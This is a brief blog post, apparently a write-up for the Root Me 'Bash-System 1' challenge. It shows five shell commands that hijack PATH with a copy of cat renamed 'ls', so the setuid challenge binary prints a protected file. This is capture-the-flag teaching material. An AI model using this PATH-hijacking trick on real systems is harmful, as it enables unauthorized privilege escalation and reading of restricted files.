Home [Root Me] Bash-System 1
Post
Cancel

[Root Me] Bash-System 1

We need to copy cat into /tmp, then change the name to “ls” and change the path to that folder. Now the script will read it as cat.

1
2
3
4
5
> mkdir /tmp/isntma
> cp /bin/cat /tmp/isntma
> mv /tmp/isntma/cat /tmp/isntma/ls
> export PATH=/tmp/isntma:$PATH
> ./ch11
This post is licensed under CC BY 4.0 by the author.